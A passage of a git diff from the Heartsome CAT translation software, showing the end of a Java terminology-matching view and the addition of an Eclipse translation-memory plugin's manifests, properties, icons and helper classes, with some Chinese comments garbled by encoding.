contentPanel.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + // firstPageComposite = new Composite(contentPanel, SWT.NONE); + // firstPageComposite.setLayout(new GridLayout(1, false)); + + // secondPageComposite = new Composite(contentPanel, SWT.NONE); + // GridLayout secondPageCompositeGl = new GridLayout(1, false); + // secondPageCompositeGl.marginBottom = -1; + // secondPageCompositeGl.marginLeft = -1; + // secondPageCompositeGl.marginRight = -1; + // secondPageCompositeGl.marginTop = -1; + // secondPageCompositeGl.marginWidth = 0; + // secondPageCompositeGl.marginHeight = 0; + // secondPageComposite.setLayout(secondPageCompositeGl); + // secondPageComposite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + gridTable = new Grid(contentPanel, SWT.BORDER | SWT.V_SCROLL); + gridTable.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + gridTable.setHeaderVisible(true); + gridTable.setAutoHeight(true); + gridTable.setRowsResizeable(true); + gridTable.setData("selectedBgColor", selectedBgColor); + + final GridColumn idItem = new GridColumn(gridTable, SWT.NONE); + idItem.setText(Messages.getString("view.TerminologyViewPart.idItem")); + idColumnCellRenderer.setFont(JFaceResources.getFont(Constants.MATCH_VIEWER_TEXT_FONT)); + idColumnCellRenderer.setVerticalAlignment(SWT.CENTER); + idItem.setCellRenderer(idColumnCellRenderer); + idItem.setWordWrap(true); + + srcTableColumn = new GridColumn(gridTable, SWT.NONE); + srcTableColumn.setText(Messages.getString("view.TerminologyViewPart.srcTableColumn")); + srcColumnCellRenderer.setFont(JFaceResources.getFont(Constants.MATCH_VIEWER_TEXT_FONT)); + srcTableColumn.setCellRenderer(srcColumnCellRenderer); + srcTableColumn.setWordWrap(true); + + tgtTableColumn = new GridColumn(gridTable, SWT.NONE); + tgtTableColumn.setText(Messages.getString("view.TerminologyViewPart.tgtTableColumn")); + tgtColumnCellRenderer.setFont(JFaceResources.getFont(Constants.MATCH_VIEWER_TEXT_FONT)); + tgtTableColumn.setCellRenderer(tgtColumnCellRenderer); + tgtTableColumn.setWordWrap(true); + + final GridColumn propertyColumn = new GridColumn(gridTable, SWT.NONE); + propertyColumn.setText(Messages.getString("view.TerminologyViewPart.propertyColumn")); + propColumnCellRenderer.setFont(JFaceResources.getFont(Constants.MATCH_VIEWER_TEXT_FONT)); + propertyColumn.setCellRenderer(propColumnCellRenderer); + propertyColumn.setWordWrap(true); + + copyEnable = new GridCopyEnable(gridTable); + srcColumnCellRenderer.setCopyEnable(copyEnable); + tgtColumnCellRenderer.setCopyEnable(copyEnable); + + // 设置列宽按比例 + contentPanel.addControlListener(new ControlAdapter() { + public void controlResized(ControlEvent e) { + Rectangle area = contentPanel.getClientArea(); + Point preferredSize = gridTable.computeSize(SWT.DEFAULT, SWT.DEFAULT); + int width = area.width; // - 2 * gridTable.getBorderWidth(); + if (preferredSize.y > area.height + gridTable.getHeaderHeight()) { + Point vBarSize = gridTable.getVerticalBar().getSize(); + width -= vBarSize.x; + } + gridTable.setSize(area.width, area.height); + width -= 45; + idItem.setWidth(45); + srcTableColumn.setWidth((int) (width * 0.4)); + tgtTableColumn.setWidth((int) (width * 0.4)); + propertyColumn.setWidth((int) (width * 0.2)); + } + }); + Composite statusComposite = new Composite(contentPanel, SWT.NONE); + GridLayout statusComptGridLayout = new GridLayout(2, false); + statusComptGridLayout.marginBottom = -1; + statusComptGridLayout.marginLeft = -1; + statusComptGridLayout.marginRight = -1; + statusComptGridLayout.marginTop = -1; + statusComptGridLayout.marginWidth = 0; + statusComptGridLayout.marginHeight = 0; + statusComposite.setLayout(statusComptGridLayout); + statusComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + tipLabel = new CLabel(statusComposite, SWT.NONE); + tipLabel.setAlignment(SWT.LEFT); + + CLabel label = new CLabel(statusComposite, SWT.None); + GridData gd = new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1); + gd.heightHint = 20; + label.setLayoutData(gd); + + gridTable.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + selectItem(); + } + }); + + gridTable.addListener(SWT.MouseDoubleClick, new Listener() { + public void handleEvent(Event event) { + firstAction.run(); + } + }); + } + + public void selectItem() { + if (gridTable.getSelection().length <= 0) { + firstAction.setEnabled(false); + } else { + firstAction.setEnabled(true); + } + } + + /** + * 创建视图工具æ çš„按钮。 + */ + private void createAction() { + firstAction = new Action() { + @Override + public void run() { + if (rowIndex < 0) { + return; + } + if (tempEditor == null || rowIndex < 0) { + return; + } + TransUnitBean transUnit = tempEditor.getRowTransUnitBean(rowIndex); + Hashtable tuProp = transUnit.getTuProps(); + if (tuProp != null) { + String translate = tuProp.get("translate"); + if (translate != null && translate.equalsIgnoreCase("no")) { + MessageDialog.openInformation(getSite().getShell(), + Messages.getString("view.TerminologyViewPart.msgTitle"), + Messages.getString("view.TerminologyViewPart.msg1")); + return; + } + } + + String tarTerm = ""; + GridItem[] items = gridTable.getSelection(); + if (items.length <= 0) { + return; + } else { + tarTerm = items[0].getText(2); + } + + try { + tempEditor.insertCell(rowIndex, tempEditor.getTgtColumnIndex(), tarTerm); + // tempEditor.setFocus(); // 焦点给回编辑器 + } catch (ExecutionException e) { + if (Constant.RUNNING_MODE == Constant.MODE_DEBUG) { + e.printStackTrace(); + } + MessageDialog.openInformation(parent.getShell(), + Messages.getString("view.TerminologyViewPart.msgTitle"), + Messages.getString("view.TerminologyViewPart.msg2") + e.getMessage()); + } + } + }; + firstAction.setImageDescriptor(Activator.getIconDescriptor(ImageConstants.ACCPTE_TERM)); + firstAction.setToolTipText(Messages.getString("view.TerminologyViewPart.firstAction")); + firstAction.setEnabled(false); + getViewSite().getActionBars().getToolBarManager().add(firstAction); + } + + public void acceptTermByIndex(int index) { + if (index < 0 || index + 1 > gridTable.getItemCount()) { + return; + } + gridTable.select(index); + firstAction.run(); + } + + /** + * 获得焦点。 + * @see org.eclipse.ui.part.WorkbenchPart#setFocus() + */ + @Override + public void setFocus() { + gridTable.setFocus(); + } + + /** + * 监å¬æ¥è‡ªIHSEditor的选中改å˜äº‹ä»¶ã€‚ + * @see org.eclipse.ui.ISelectionListener#selectionChanged(org.eclipse.ui.IWorkbenchPart, + * org.eclipse.jface.viewers.ISelection) + */ + public void selectionChanged(IWorkbenchPart part, ISelection selection) { + // UNDO æ¯æ¬¡å¯åŠ¨ç¨‹åºåŽï¼Œæœ¯è¯­åŒ¹é…é¢æ¿æ— æ³•è¯†åˆ«å‡ºæœ¯è¯­ã€‚ 2012-06-21 + if (part == null || selection == null) { + return; + } + if (part instanceof IXliffEditor) { + if (!part.equals(tempEditor)) { + IXliffEditor editor = (IXliffEditor) part; + tempEditor = editor; + + tempEditor = (IXliffEditor) part; + FileEditorInput input = (FileEditorInput) getSite().getPage().getActiveEditor().getEditorInput(); + IProject currProject = input.getFile().getProject(); + matcher.setCurrentProject(currProject); + } + } else { + firstAction.setEnabled(false); + return; + } + + if (selection.isEmpty() || !(selection instanceof IStructuredSelection)) { + firstAction.setEnabled(false); + return; + } + + IStructuredSelection structuredSelecion = (IStructuredSelection) selection; + Object object = structuredSelecion.getFirstElement(); + if (object instanceof Integer) { + rowIndex = (Integer) object; + IXliffEditor editor = (IXliffEditor) part; + TransUnitBean bean = editor.getRowTransUnitBean(rowIndex);// handler.getTransUnit(rowId); + String pureText = bean.getSrcText(); + String srcLang = bean.getSrcLang(); + String tgtLang = bean.getTgtLang(); + tgtLang = tgtLang == null || tgtLang.equals("") ? editor.getTgtColumnName() : tgtLang; + srcLang = srcLang == null || "".equals(srcLang) ? editor.getSrcColumnName() : srcLang; + if (srcLang == null || "".equals(srcLang) || tgtLang == null || "".equals(tgtLang)) { + return; + } + + srcTableColumn.setText(srcLang); + tgtTableColumn.setText(tgtLang); + + loadData(pureText, srcLang, tgtLang, true); + } + + } + + /** + * 销æ¯è§†å›¾æ—¶è¢«è°ƒç”¨ï¼Œç§»å‡ºç›‘å¬å™¨ã€‚ + * @see org.eclipse.ui.part.WorkbenchPart#dispose() + */ + @Override + public void dispose() { + getSite().getPage().removePostSelectionListener(this); + this.tempEditor = null; + matcher.clearResources(); + JFaceResources.getFontRegistry().removeListener(fontChangeListener); + if (selectedBgColor != null && !selectedBgColor.isDisposed()) { + selectedBgColor.dispose(); + } + if (tipLabelImage != null && !tipLabelImage.isDisposed()) { + tipLabelImage.dispose(); + } + super.dispose(); + } + + private TermSearchThread currentThread; + + /** + * 获å–tableViewer的填充内容 robert + * @return + */ + private void loadData(String pureText, String srcLang, String tgtLang, boolean isSort) { + copyEnable.resetSelection(); + gridTable.removeAll(); + if (currentThread != null) { + currentThread.interrupt(); + currentThread.setStop(true); + } + currentThread = new TermSearchThread(pureText, srcLang, tgtLang, isSort); + currentThread.start(); + } + + class TermSearchThread extends Thread { + private String pureText; + private String srcLanguage; + private String targetLanguage; + private boolean isSort; + private boolean stop; + + TermSearchThread(String pureText, String srcLang, String tgtLang, boolean isSort) { + this.pureText = pureText; + this.srcLanguage = srcLang; + this.targetLanguage = tgtLang; + this.isSort = isSort; + this.stop = false; + } + + public void setStop(boolean stop) { + this.stop = stop; + } + + @Override + public void run() { + updateStatusInfo(Messages.getString("view.TerminologyViewPart.processInfo")); + Vector> terms = matcher.serachTransUnitTerms(pureText, srcLanguage, + targetLanguage, isSort); + if (stop) { + updateStatusInfo(""); + return; + } + updateUI(pureText, terms); + } + + private void updateUI(final String pureText, final Vector> terms) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + List temp = new ArrayList(); + for (int i = 0; i < terms.size(); i++) { + GridItem item = new GridItem(gridTable, SWT.NONE); + item.setText(0, (i + 1) + ""); + item.setText(1, terms.get(i).get("srcWord")); + item.setText(2, terms.get(i).get("tgtWord")); + item.setText(3, terms.get(i).get("property") == null ? "" : terms.get(i).get("property")); + temp.add(terms.get(i).get("srcWord")); + } + if (terms.size() > 0) { + firstAction.setEnabled(true); + gridTable.select(0); + } + updateStatusInfo(""); + tempEditor.highlightedTerms(getHighlightWord(pureText, temp)); + + } + }); + } + + private List getHighlightWord(String pureText, List temp) { + boolean b = PlatformUI.getPreferenceStore().getBoolean(TBPreferenceConstants.TB_CASE_SENSITIVE); + if(!b){ + return temp; + } + Vector result = new Vector(); + List rs = new ArrayList(); + StringTokenizer tk = new StringTokenizer(pureText, NGrams.SEPARATORS, true); + while (tk.hasMoreTokens()) { + result.add(tk.nextToken()); + } + for (String word : result) { + for (String str : temp) { + if (word.equalsIgnoreCase(str)) { + rs.add(word); + break; + } + } + } + return rs; + } + + /** + * 更新状æ€ä¿¡æ¯ + * @param content + * ; + */ + private void updateStatusInfo(final String content) { + Display.getDefault().syncExec(new Runnable() { + + public void run() { + if (content != null && content.length() != 0) { + setProcessMessage(tipLabelImage, content, ""); + } else { + setProcessMessage(null, content, ""); + } + } + }); + } + }; + + public void refresh() { + TransUnitBean bean = tempEditor.getRowTransUnitBean(rowIndex);// handler.getTransUnit(rowId); + String pureText = bean.getSrcText(); + String srcLang = bean.getSrcLang(); + String tgtLang = bean.getTgtLang(); + tgtLang = tgtLang == null || tgtLang.equals("") ? tempEditor.getTgtColumnName() : tgtLang; + srcLang = srcLang == null || "".equals(srcLang) ? tempEditor.getSrcColumnName() : srcLang; + loadData(pureText, srcLang, tgtLang, true); + } + + /** + * tableViewer的标签æ供器 + * @author robert + */ + class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] array = (String[]) element; + return array[columnIndex]; + } + return null; + } + } + + // public TermOperator getTermOper() { + // return termOper; + // } + + public String getCurProConfigPath() { + return curProConfigPath; + } + + public Grid getGridTable() { + return gridTable; + } + + class FontPropertyChangeListener implements IPropertyChangeListener { + + public void propertyChange(PropertyChangeEvent event) { + if (gridTable == null || gridTable.isDisposed()) { + return; + } + String property = event.getProperty(); + if (Constants.MATCH_VIEWER_TEXT_FONT.equals(property)) { + Font font = JFaceResources.getFont(Constants.MATCH_VIEWER_TEXT_FONT); + idColumnCellRenderer.setFont(font); + srcColumnCellRenderer.setFont(font); + tgtColumnCellRenderer.setFont(font); + propColumnCellRenderer.setFont(font); + gridTable.redraw(); + } + } + } + + private void setProcessMessage(Image image, String message, String tooltip) { + if (image != null && !image.isDisposed()) { + tipLabel.setImage(image); + } else { + tipLabel.setImage(null); + } + tipLabel.setText(message); + tipLabel.setToolTipText(tooltip); + tipLabel.pack(); + } + +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.translation/.classpath b/ts/net.heartsome.cat.ts.ui.translation/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.translation/.project b/ts/net.heartsome.cat.ts.ui.translation/.project new file mode 100644 index 0000000..26a0e81 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.ui.translation + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.ui.translation/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.ui.translation/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.ui.translation/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.ui.translation/META-INF/MANIFEST.MF new file mode 100644 index 0000000..4868bae --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/META-INF/MANIFEST.MF @@ -0,0 +1,29 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS UI TM +Bundle-SymbolicName: net.heartsome.cat.ts.ui.translation;singleton:=true +Bundle-Version: 8.0.2.R8b_v20130502 +Bundle-Activator: net.heartsome.cat.ts.ui.translation.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.ui.ide;bundle-version="3.7.0", + org.eclipse.core.runtime, + org.eclipse.core.resources;bundle-version="3.7.100", + org.eclipse.compare.core;bundle-version="3.5.200", + org.eclipse.jface.text;bundle-version="3.7.0", + org.eclipse.nebula.widgets.grid;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + net.heartsome.cat.ts.core;bundle-version="1.0.0", + net.heartsome.cat.ts.ui;bundle-version="1.0.0", + net.heartsome.cat.common.ui;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Export-Package: net.heartsome.cat.ts.ui.translation, + net.heartsome.cat.ts.ui.translation.bean, + net.heartsome.cat.ts.ui.translation.view +Import-Package: net.heartsome.cat.ts.tm.bean, + net.heartsome.cat.ts.tm.complexMatch, + net.heartsome.cat.ts.tm.match, + net.heartsome.cat.ts.tm.simpleMatch +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.ui.translation/build.properties b/ts/net.heartsome.cat.ts.ui.translation/build.properties new file mode 100644 index 0000000..76e0813 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/build.properties @@ -0,0 +1,10 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + images/,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/match-type/bing.png b/ts/net.heartsome.cat.ts.ui.translation/images/match-type/bing.png new file mode 100644 index 0000000..8536658 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/match-type/bing.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/match-type/google.png b/ts/net.heartsome.cat.ts.ui.translation/images/match-type/google.png new file mode 100644 index 0000000..345ab56 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/match-type/google.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/match-type/others.png b/ts/net.heartsome.cat.ts.ui.translation/images/match-type/others.png new file mode 100644 index 0000000..d20d634 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/match-type/others.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/match-type/pt.png b/ts/net.heartsome.cat.ts.ui.translation/images/match-type/pt.png new file mode 100644 index 0000000..238802d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/match-type/pt.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/match-type/qt.png b/ts/net.heartsome.cat.ts.ui.translation/images/match-type/qt.png new file mode 100644 index 0000000..75699d2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/match-type/qt.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/match-type/tm.png b/ts/net.heartsome.cat.ts.ui.translation/images/match-type/tm.png new file mode 100644 index 0000000..d1bbf02 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/match-type/tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/status/Loading.png b/ts/net.heartsome.cat.ts.ui.translation/images/status/Loading.png new file mode 100644 index 0000000..64a25ba Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/status/Loading.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/accept-all.png b/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/accept-all.png new file mode 100644 index 0000000..979e231 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/accept-all.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/accept-text.png b/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/accept-text.png new file mode 100644 index 0000000..2ecc75e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/accept-text.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/delete-match.png b/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/delete-match.png new file mode 100644 index 0000000..6b79ddd Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/delete-match.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/edit-match.png b/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/edit-match.png new file mode 100644 index 0000000..14df378 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/edit-match.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/tm-info.png b/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/tm-info.png new file mode 100644 index 0000000..531da58 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/tm-info.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/tm_title.png b/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/tm_title.png new file mode 100644 index 0000000..c765e17 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/tm_title.png differ diff --git a/ts/net.heartsome.cat.ts.ui.translation/plugin.properties b/ts/net.heartsome.cat.ts.ui.translation/plugin.properties new file mode 100644 index 0000000..4c395ce --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/plugin.properties @@ -0,0 +1,4 @@ +matchview.name = \u8bb0\u5fc6\u5e93 + +menu.view.TMView = \u8bb0\u5fc6\u5e93 +command.TMView = \u8bb0\u5fc6\u5e93 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.translation/plugin.xml b/ts/net.heartsome.cat.ts.ui.translation/plugin.xml new file mode 100644 index 0000000..d9f7fdc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/plugin.xml @@ -0,0 +1,64 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.translation/plugin_en.properties b/ts/net.heartsome.cat.ts.ui.translation/plugin_en.properties new file mode 100644 index 0000000..80ce5ff --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/plugin_en.properties @@ -0,0 +1,4 @@ +matchview.name = Translation Memory + +menu.view.TMView = Translation Memory +command.TMView = Translation Memory diff --git a/ts/net.heartsome.cat.ts.ui.translation/plugin_zh.properties b/ts/net.heartsome.cat.ts.ui.translation/plugin_zh.properties new file mode 100644 index 0000000..4c395ce --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/plugin_zh.properties @@ -0,0 +1,4 @@ +matchview.name = \u8bb0\u5fc6\u5e93 + +menu.view.TMView = \u8bb0\u5fc6\u5e93 +command.TMView = \u8bb0\u5fc6\u5e93 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/Activator.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/Activator.java new file mode 100644 index 0000000..f46dae6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/Activator.java @@ -0,0 +1,76 @@ +package net.heartsome.cat.ts.ui.translation; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.ui.translation"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片被伸缩å˜æ¢ä¸º16*16åƒç´ çš„æè¿°ä¿¡æ¯ã€‚ + * @param path + * the path + * @return the icon descriptor + */ + public static ImageDescriptor getIconDescriptor(String path) { + ImageDescriptor image = getImageDescriptor(path); + ImageData data = image.getImageData(); + data = data.scaledTo(16, 16); + image = ImageDescriptor.createFromImageData(data); + return image; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/ImageConstants.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/ImageConstants.java new file mode 100644 index 0000000..4f7df4a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/ImageConstants.java @@ -0,0 +1,29 @@ +package net.heartsome.cat.ts.ui.translation; + +/** + * 图标常é‡å®šä¹‰ + * @author jason + * @version + * @since JDK1.6 + */ +public interface ImageConstants { + + /** + * 接å—带标记的文本 + */ + String ACCEPT_FULLTEXT="images/tm-view/accept-all.png"; + /** + * 接å—ä¸å¸¦æ ‡è®°çš„文本 + */ + String ACCEPT_TEXT = "images/tm-view/accept-text.png"; + + /** + * 匹é…状æ€æ å›¾æ ‡ + */ + String TM_INFO = "images/tm-view/tm-info.png"; + + String DELETE_MATCH = "images/tm-view/delete-match.png"; + + String EDIT_MATCH = "images/tm-view/edit-match.png"; + +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/bean/TmConstants.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/bean/TmConstants.java new file mode 100644 index 0000000..542d305 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/bean/TmConstants.java @@ -0,0 +1,29 @@ +/** + * Constants.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.translation.bean; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class TmConstants { + + public static String MATCH_TYPE_TM = "TM"; + public static String MATCH_TYPE_PT = "PT"; + public static String MATCH_TYPE_QT = "QT"; + public static String MATCH_TYPE_MT = "MT"; + + private TmConstants() { + } +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/comparator/Comparator.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/comparator/Comparator.java new file mode 100644 index 0000000..83d0ab5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/comparator/Comparator.java @@ -0,0 +1,131 @@ +package net.heartsome.cat.ts.ui.translation.comparator; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.ColorConfigBean; +import net.heartsome.cat.common.ui.utils.InnerTagUtil; + +import org.eclipse.compare.rangedifferencer.RangeDifference; +import org.eclipse.compare.rangedifferencer.RangeDifferencer; +import org.eclipse.jface.text.Position; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.graphics.Color; + +public class Comparator { + + public static List Compare(String referenceText, String targetText) { + List differencePosition = new ArrayList(); + + Position[] tagRanges = InnerTagUtil.getStyledTagRanges(targetText); + + TokenComparator left = new TokenComparator(InnerTagUtil.getDisplayValueWithoutTags(targetText)); + TokenComparator right = new TokenComparator(referenceText); + + RangeDifference[] e = RangeDifferencer.findRanges(left, right); + for (int i = 0; i < e.length; i++) { + RangeDifference es = e[i]; + + int leftStart = es.leftStart(); + int leftEnd = es.leftEnd(); + + int lStart = left.getTokenStart(leftStart); + int lEnd = left.getTokenStart(leftEnd); + + if (es.kind() == RangeDifference.CHANGE) { + int start = lStart; + int end = lEnd; + if (tagRanges.length > 0) { + for (Position tagRange : tagRanges) { + int tagStart = tagRange.getOffset(); + int tagEnd = tagRange.getOffset() + tagRange.getLength(); + if (tagStart <= start) { + start += tagRange.getLength(); + end += tagRange.getLength(); + } else if (start < tagStart && tagStart < end) { + if (start >= 0 && end - 1 >= 0) { + Position position = new Position(start, tagStart - 1); + differencePosition.add(position); + } + start = tagEnd; + end += tagRange.getLength(); + } else { + break; + } + } + } + if (start >= 0 && end - 1 >= 0) { + Position position = new Position(start, end - 1); + differencePosition.add(position); + } + } + } + return differencePosition; + } + + /** + * 用于比较的å‚照文本(ä¸å«å†…部标记) + * @param referenceText + * @param text + * ; + */ + public static void Compare(String referenceText, StyledText text) { + ColorConfigBean colorCfgBean = ColorConfigBean.getInstance(); + final Color differencefg = colorCfgBean.getSrcDiffFgColor(); + final Color differencebg = colorCfgBean.getSrcDiffBgColor(); + + Position[] tagRanges = InnerTagUtil.getStyledTagRanges(text.getText()); + + TokenComparator left = new TokenComparator(InnerTagUtil.getDisplayValueWithoutTags(text.getText())); + TokenComparator right = new TokenComparator(referenceText); + ArrayList styleRanges = new ArrayList(); + + RangeDifference[] e = RangeDifferencer.findRanges(left, right); + for (int i = 0; i < e.length; i++) { + RangeDifference es = e[i]; + + int leftStart = es.leftStart(); + int leftEnd = es.leftEnd(); + + int lStart = left.getTokenStart(leftStart); + int lEnd = left.getTokenStart(leftEnd); + + if (es.kind() == RangeDifference.CHANGE) { + int start = lStart; + int end = lEnd; + if (tagRanges.length > 0) { + for (Position tagRange : tagRanges) { + int tagStart = tagRange.getOffset(); + int tagEnd = tagRange.getOffset() + tagRange.getLength(); + if (tagStart <= start) { + start += 